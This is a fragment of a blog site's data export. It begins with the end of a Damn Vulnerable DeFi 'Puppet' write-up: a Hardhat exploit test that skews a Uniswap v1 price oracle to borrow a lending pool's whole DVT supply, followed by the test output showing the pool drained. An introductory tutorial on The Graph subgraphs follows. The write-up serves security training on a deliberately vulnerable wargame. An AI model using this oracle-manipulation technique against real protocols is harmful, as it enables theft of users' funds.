class=\"token number\">100000</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token keyword\">await</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>lendingPool<span class=\"token punctuation\">.</span><span class=\"token function\">connect</span><span class=\"token punctuation\">(</span>attacker<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">borrow</span><span class=\"token punctuation\">(</span>ethers<span class=\"token punctuation\">.</span>utils<span class=\"token punctuation\">.</span><span class=\"token function\">parseEther</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"100000\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span> value<span class=\"token operator\">:</span> muOraclePrice <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n  <span class=\"token function\">_curInfo</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"After exploit\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<div class=\"gatsby-highlight\" data-language=\"tsx\"><pre class=\"language-tsx\"><code class=\"language-tsx\">yarn run v1<span class=\"token punctuation\">.</span><span class=\"token number\">22.19</span>\n$ yarn hardhat test test<span class=\"token operator\">/</span>puppet<span class=\"token operator\">/</span>puppet<span class=\"token punctuation\">.</span>challenge<span class=\"token punctuation\">.</span>js\n$ <span class=\"token operator\">/</span>Users<span class=\"token operator\">/</span>zer0luck<span class=\"token operator\">/</span>ctf<span class=\"token operator\">/</span>wargame<span class=\"token operator\">/</span>blockchain<span class=\"token operator\">/</span>defi<span class=\"token operator\">-</span>wargame<span class=\"token operator\">/</span>node_modules<span class=\"token operator\">/</span><span class=\"token punctuation\">.</span>bin<span class=\"token operator\">/</span>hardhat test test<span class=\"token operator\">/</span>puppet<span class=\"token operator\">/</span>puppet<span class=\"token punctuation\">.</span>challenge<span class=\"token punctuation\">.</span><span class=\"token function\">js</span>\n<span class=\"token punctuation\">(</span>node<span class=\"token operator\">:</span><span class=\"token number\">27635</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">[</span><span class=\"token constant\">DEP0147</span><span class=\"token punctuation\">]</span> DeprecationWarning<span class=\"token operator\">:</span> In future versions <span class=\"token keyword\">of</span> Node<span class=\"token punctuation\">.</span>js<span class=\"token punctuation\">,</span> fs<span class=\"token punctuation\">.</span><span class=\"token function\">rmdir</span><span class=\"token punctuation\">(</span>path<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span> recursive<span class=\"token operator\">:</span> <span class=\"token boolean\">true</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> will be removed<span class=\"token punctuation\">.</span> Use fs<span class=\"token punctuation\">.</span><span class=\"token function\">rm</span><span class=\"token punctuation\">(</span>path<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span> recursive<span class=\"token operator\">:</span> <span class=\"token boolean\">true</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token function\">instead</span>\n<span class=\"token punctuation\">(</span>Use <span class=\"token template-string\"><span class=\"token template-punctuation string\">`</span><span class=\"token string\">node --trace-deprecation ...</span><span class=\"token template-punctuation string\">`</span></span> to show where the warning was created<span class=\"token punctuation\">)</span>\n\n  <span class=\"token punctuation\">[</span>Challenge<span class=\"token punctuation\">]</span> Puppet\n\nInitial\n\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Oracle Calc Deposit Required\n<span class=\"token number\">2</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Attacker <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">24.999941720374401652</span>\n<span class=\"token number\">1000</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> LendingPool <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">0</span>\n<span class=\"token number\">100000</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Uniswap Exchange <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">0.100297884717611306</span>\n<span class=\"token number\">1000</span>\n\nAfter exploit\n\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Oracle Calc Deposit Required\n    ✓ <span class=\"token function\">Exploit</span> <span class=\"token punctuation\">(</span>50ms<span class=\"token punctuation\">)</span>\n<span class=\"token number\">0.000200595769435222</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Attacker <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">14.839905722874661761</span>\n<span class=\"token number\">100010</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> LendingPool <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">20.0595769435222</span>\n<span class=\"token number\">0</span>\n<span class=\"token punctuation\">[</span><span class=\"token operator\">+</span><span class=\"token punctuation\">]</span> Uniswap Exchange <span class=\"token constant\">ETH</span><span class=\"token operator\">-</span><span class=\"token constant\">DVT</span> Pair Balance\n<span class=\"token number\">0.100297884717611306</span>\n<span class=\"token number\">1000</span>\n\n  <span class=\"token number\">1</span> <span class=\"token function\">passing</span> <span class=\"token punctuation\">(</span>606ms<span class=\"token punctuation\">)</span>\n\n✨  Done <span class=\"token keyword\">in</span> <span class=\"token number\">3</span><span class=\"token punctuation\">.</span>00s<span class=\"token punctuation\">.</span></code></pre></div>\n<h2 id=\"next-time-\" style=\"position:relative;\"><a href=\"#next-time-\" aria-label=\"next time  permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>next time.. 🚀</h2>\n<p>I will continue to post auditing and research on 12 challenge defi Smart Contracts.</p>\n<p>Thank you for the @tinchoabbate that made a good wargame.\n<a href=\"https://www.damnvulnerabledefi.xyz/\">Damn Vunlerable Defi</a></p>\n<div class=\"table-of-contents\">\n<ul>\n<li>\n<p><a href=\"#transaction-flow\">Transaction Flow</a></p>\n<ul>\n<li><a href=\"#dependency-pattern\">Dependency Pattern</a></li>\n<li><a href=\"#setup-flow\">Setup flow</a></li>\n<li><a href=\"#liquidity-pool-exchange-and-calculation-test-work\">Liquidity pool exchange and calculation test work</a></li>\n<li><a href=\"#token-transfer-process\">Token transfer process</a></li>\n<li><a href=\"#state-variable--event\">State Variable &#x26;&#x26; Event</a></li>\n<li><a href=\"#functions\">Functions</a></li>\n</ul>\n</li>\n<li>\n<p><a href=\"#next-time-\">next time.. 🚀</a></p>\n</li>\n</ul>\n</div>","excerpt":"Wargame Provider: @tinchoabbate Challenge #8 - Puppet There’s a huge lending pool borrowing Damn Valuable Tokens\n(DVTs), where you first need to deposit twice the borrow amount in ETH\nas collateral. The pool currently has 100000 DVTs in liquidity. There’s a DVT market opened in an Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity. Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool. See the contracts Complete the challenge Code Audit T…","frontmatter":{"date":"August 05, 2022","title":"Damn Vulnerable DeFi Wargame Challenge8 — Puppet Contract Analysis 🐦","categories":"Blockchain","author":"Zer0Luck","emoji":"🦊"},"fields":{"slug":"/defi-wargame-8/"}},"next":{"id":"b972778c-f576-5161-9969-51f6604116ed","html":"<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 56.111111111111114%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACD0lEQVQoz6WSTU8TURiFX2baoZCgtTNTWootaYrId2oFCqnVVKGgo01EEkkqghChJGKI3xqjRhcqhoValK0fG1nrwvg7/AHGhSv/wmNmmNbCxoWLk3vuve97ct4PqfM0I2oQ+9Q8YRTnbiBaCFFjBDvPUXq5wZnJ44g0ImKieN0ctdnJq4VUiRp0BFt8cSISI5vMYU0XMbovMHFji+WNT5Q3V+lqj1VFd4s5OhV3FVEbwfoY4/4U86kp9gQiSH2SI9YVvq2VWBkeQET/t6DiwuMNOQ6GW6Pkox00RdKINJFojXD5RB9f7k1hBLZd2rF2ruoJua0Kbpe8TXREcSF7McJRJqwhRIQ64xCJ3EVEAjQl+tD8UUT2IXUBRDUR8TvcdWjSoEXINY+QMYcYDWU4Ghjk9MFTvHu7xa3SXW4O3WdxYZNrhRJj+ghZI82AnsJqOYbZGOdOx3kG9cOuGcVAb2ij3L/Ei955nvXM8TP/ig/JFcqjj/m48J4fuXVmowW+Zh/w29rkafcs670LfM+tMR7O8mu8zJOuGdepU7LJw84ir/sXGQtleNRZZLV9kpn9eU4aGT6nb5MxB1mOF3jTv8R0NM/VxFme98xxqc3i+oEp/L5YbQ9Np7GaN+xO2kQ8QVRvyGm8T4s4b5XY6gAUHc3bgl2ljR1TrqzM7hXa8a7+/atshs2VGi61Af+DirE/j440DqQledwAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"Uniswap\"\n        title=\"Uniswap\"\n        src=\"/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/37523/uniswap-1.png\"\n        srcset=\"/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/e9ff0/uniswap-1.png 180w,\n/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/f21e7/uniswap-1.png 360w,\n/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/37523/uniswap-1.png 720w,\n/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/302a4/uniswap-1.png 1080w,\n/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/07a9c/uniswap-1.png 1440w,\n/static/8ca6b7eb5abaef56c52f9e1fa3eccc97/29114/uniswap-1.png 1920w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h2 id=\"subgraph\" style=\"position:relative;\"><a href=\"#subgraph\" aria-label=\"subgraph permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>SubGraph</h2>\n<ul>\n<li>Decentralized protocol for indexing and querying data on the blockchain, starting with Ethereum</li>\n<li>Possible to inquire data that is difficult to inquire directly</li>\n<li>Uniswap complex smart contracts</li>\n<li>When it is difficult to read anything other than the underlying data directly from the blockchain, such as projects such as the Bored Ape Yacht Club NFT initiative</li>\n</ul>\n<h2 id=\"bored-ape-yacht-club\" style=\"position:relative;\"><a href=\"#bored-ape-yacht-club\" aria-label=\"bored ape yacht club permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Bored Ape Yacht Club</h2>\n<ul>\n<li>Get the owner of a specific Ape</li>\n<li>Perform basic read operations on contracts such as getting Ape content URI or total supply based on ID\n<ul>\n<li>Because read operations are programmed</li>\n</ul>\n</li>\n<li>Can be directly inserted into smart contracts, but not advanced expression queries and operations such as tweezers, searches, relationships and non-critical filtering\n<ul>\n<li>If you want to query data owned by a specific address and filter it by one of its characteristics, you cannot interact directly with the contract itself to get that information.</li>\n<li>To get this data, you need to process every single event with <code class=\"language-text\">transfer</code> event, read the metadata from IPFS using tokenid and IPFS hash and aggregate it.</li>\n<li>Distributed applications running in browsers take a long time to get answers to even relatively simple questions of this type</li>\n</ul>\n</li>\n<li>Blockchain properties such as chain reorganization and non-regular blocks make this process more complex and time consuming</li>\n<li>Solve problems using a distributed protocol that indexes and enables performance and efficient queries of blockchain data\n<ul>\n<li>You can query these APIs (indexed “subGraphs”) with standard GraphQL APIs.</li>\n</ul>\n</li>\n</ul>\n<h3 id=\"how-graphs-work\" style=\"position:relative;\"><a href=\"#how-graphs-work\" aria-label=\"how graphs work permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>How Graphs Work</h3>\n<ul>\n<li>Graph\n<ul>\n<li>subGraph == manifest</li>\n<li>Learn items and methods of indexing Ethereum data based on subGraph describe.</li>\n<li>Define the smart contract for the SubGraph, the events in that contract that need attention, and how the graph maps the event data to the data to be stored in the database.</li>\n<li>Use the <code class=\"language-text\">subgraph manifest</code> graph CLI to instruct the indexer that defines and stores in IPFS to start indexing data for that subgraph</li>\n</ul>\n</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 82.22222222222221%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEY0lEQVQ4y11Ta0zTdxQ9fWLlWaC0QikPKaUUyAoUyqOlFCgUy9PKo4UKCBSIvDYY+EQFRETRRcExJ4gmTI1zRpaMzcS4D4uOT27LPmy6OLdENt+bMUuQ9C5/UDe8yf2dm5Pcc+/N714AABGt8vwi65u4b+9Q6+7dg9t6evuaVjgXTHlWvJ33xl4TV69eQ3GpDc0tHWjv3MEaGh7DV19eF5dV1D3PyS0ks8X68Mj4WaG52IbSsmrWt/M/rMp3uVwrwkuvgndnLrJr2nvwyewlbKltZrW1dqGsom4iK7eUAoIif8ktKKdMU8HJ45PnsG/0JIsRszucmJqe4QwOHWbdX/gDi4uLwP1Hz/mXL1zh7flmHiMTk3jy9Jn77dt3/JiEAGlUCkfg31jb0KoMVWi2rPXwabx392cPIvImcnkzjXx2+XNMn5nBx5Nn2U+fPVtuOYzx/q9vJIxdve6WkKCL0KZm29/r2s6zOxoxOztXPDB4aKGtvatCb8hF7/a9bhptZpUmOTOcwxfi4qdXSm7cnE8lItWLFy/80D9xy6/7g8kLG+u3ukz5VjVTNSunSDyw/xA+OnnaMXzwKDmbOsheXU81dc7G6s1NyDBapJr0PBRbHU3NW7to+67+OyOjxxREtAbldcdqzYWOxzp97m/KuLQ43hpf9A+MYGj4aMbokTHq2zNE9Q2ti+WVNeSocdJGa3WevaoeiSk5SNHnj8eo0ydM+da5qFhtbWGpHTDn9NQmp1quxSZm/OTjL7WYNb7semcHqmpabN29e+jAwaNLW9u6XVWOxpelmxykNxY4EjVpkMnjERmbNh4aqb70TlLm+fVKTbNEFg0YEp11YRGaH30CgrZxOHyTm5tAqMsuhtFcZk1KM1F1bcuSo6bZZcgqWIqO01KYPHYHAAkPEKwLi8sWiqQOmVz9vShI0R4gUwHJSrvI00tiALD8swfGLnCVKi2iE7IqZfJ4kqs0pE3PfRkcrlqSRcSRvyR0BkBSaFhUsTYlqxDgQxSstAk8/XS+6yKAaEkpeHy/V2vuwSqp24VA3WaEx+r9I2JSh2Vy9RNFbAqJpREkFElvAehSREaWpKQnKibPnF7X0bmLG63OAN9dBN9AJVadTWBMDt7vG9XZ2gZ2EpE7w5kKqxPEMtV5gbvXFBtobW7rnZo+e+7vkeETX4wOnhcTEc9ssXHB8WK9Ph3e48dPmV2U7+/b2WXtOEHq4zepvKXzrso3SCoPVkASHo+wcBUaKp1eLd37qOfQKSqv6CSD0XKKiARDwx9yX58fI7jm13u/exIRO1WfrzZabNc22JyUqsu+6+HtFyeRBEKuSuIyxYUhGrf1UeoKQ3bRd5Kg0AUW161sQ8kmeIpCWCEhISvTMs+DB4+WUW8sWEahpzgeHIEPIzJ15hz7yV//4PLsHIuIWGJpJMAXBQNQ4H9mMGT+J/jng4fLmGEsZDPo7xMIcNciRJHE8CyXy8VhEAiGXJXMAdsHbxubw10W/BfaveLIwZfrMQAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"subgraph\"\n        title=\"subgraph\"\n        src=\"/static/8b2d9ae8f52f2acb6e050c56ca1911de/37523/subgraph.png\"\n        srcset=\"/static/8b2d9ae8f52f2acb6e050c56ca1911de/e9ff0/subgraph.png 180w,\n/static/8b2d9ae8f52f2acb6e050c56ca1911de/f21e7/subgraph.png 360w,\n/static/8b2d9ae8f52f2acb6e050c56ca1911de/37523/subgraph.png 720w,\n/static/8b2d9ae8f52f2acb6e050c56ca1911de/1e088/subgraph.png 840w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<ul>\n<li>Data flow after the <code class=\"language-text\">subgraph manifest</code> that handles Ethereum transactions is deployed</li>\n</ul>\n<ol>\n<li>dApps add data to Ethereum through smart contract transactions</li>\n<li>A smart contract generates one or more events while processing a transaction.</li>\n<li>Graph nodes are constantly searching for new blocks in Ethereum and the data of subgraphs they can contain.</li>\n<li>The graph node finds Ethereum events for the subgraph in this block and executes the mapping handler provided.</li>\n<li>Mapping is a WASM module that creates or updates data entities that graph nodes store in response to Ethereum events.</li>\n<li>The dApp uses the node’s GraphQL endpoint to query the graph node for indexed data on the blockchain.</li>\n<li>The graph node uses the indexing capabilities of the repository to fetch this data by converting the GraphQL query into a query for the underlying data store.</li>\n<li>The dApp will display this data in a rich UI for the end users, who will use this data to issue new transactions in Ethereum.</li>\n</ol>\n<h1 id=\"graph-network\" style=\"position:relative;\"><a href=\"#graph-network\" aria-label=\"graph network permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Graph Network</h1>\n<ul>\n<li>\n<p>The network is a decentralized indexing protocol for organizing blockchain data.</p>\n</li>\n<li>\n<p>Applications use GraphQL to query an open API called a subgraph to retrieve indexed data from the network.</p>\n</li>\n<li>\n<p>Graph allows developers to build serverless applications that run on completely public infrastructure.</p>\n</li>\n<li>\n<p>Graph networks provide services in the network</p>\n<ul>\n<li>Indexers that provide data to Web3 applications</li>\n<li>Curator</li>\n<li>Delegator</li>\n<li>Consumers use applications and consume data</li>\n</ul>\n</li>\n<li>\n<p>Participants stake and use Graph Token (GRT) to ensure the economic security of the graph network and the integrity of the data being queried.</p>\n</li>\n<li>\n<p>GRT is a work token that is ERC-20 on the Ethereum blockchain.</p>\n</li>\n<li>\n<p>Used to allocate resources on the network</p>\n</li>\n<li>\n<p>Halseong Indexer</p>\n</li>\n<li>\n<p>Curator</p>\n</li>\n<li>\n<p>Delegators can provide services and earn income on the network in proportion to the amount of work they perform and their stake in GRT.</p>\n</li>\n</ul>\n<hr>\n<h1 id=\"quick-start\" style=\"position:relative;\"><a href=\"#quick-start\" aria-label=\"quick start permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Quick Start</h1>\n<ul>\n<li>Subgraph Studio - Etheruem mainnet indexing</li>\n<li>Hosting Service\n<ul>\n<li>Etheruem mainnet ↔ External Network (ex.. Binance, Matic..)</li>\n</ul>\n</li>\n</ul>\n<h1 id=\"subgraph-studio\" style=\"position:relative;\"><a href=\"#subgraph-studio\" aria-label=\"subgraph studio permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Subgraph Studio</h1>\n<h2 id=\"graph-cli-install\" style=\"position:relative;\"><a href=\"#graph-cli-install\" aria-label=\"graph cli install permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Graph CLI install</h2>\n<div class=\"gatsby-highlight\" data-language=\"jsx\"><pre class=\"language-jsx\"><code class=\"language-jsx\">npm<span class=\"token punctuation\">,</span> install <span class=\"token operator\">-</span>g @graphprotocol<span class=\"token operator\">/</span>graph<span class=\"token operator\">-</span>cli</code></pre></div>\n<h2 id=\"subgraph-init\" style=\"position:relative;\"><a href=\"#subgraph-init\" aria-label=\"subgraph init permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>subgraph init</h2>\n<div class=\"gatsby-highlight\" data-language=\"jsx\"><pre class=\"language-jsx\"><code class=\"language-jsx\">graph init <span class=\"token operator\">--</span>studio <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span><span class=\"token class-name\">SUBGRAPH_SLUG</span></span><span class=\"token punctuation\">></span></span></code></pre></div>\n<h2 id=\"subgraph-writer\" style=\"position:relative;\"><a href=\"#subgraph-writer\" aria-label=\"subgraph writer permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>subgraph writer</h2>\n<ul>\n<li>Subgraph construction work</li>\n<li>Manifest (subgraph.yaml)\n<ul>\n<li>Define the data sources the subgraph will index</li>\n</ul>\n</li>\n<li>Schema (schema.graphql)\n<ul>\n<li>The GraphQL schema defines the data you want to retrieve from the subgraph.</li>\n</ul>\n</li>\n<li>AssemblyScript (mapping.ts)\n<ul>\n<li>Code that converts to entities defined in the data schema of the data source</li>\n</ul>\n</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 66.11111111111111%; position: relative; bottom: 0; left: 0; background-image: 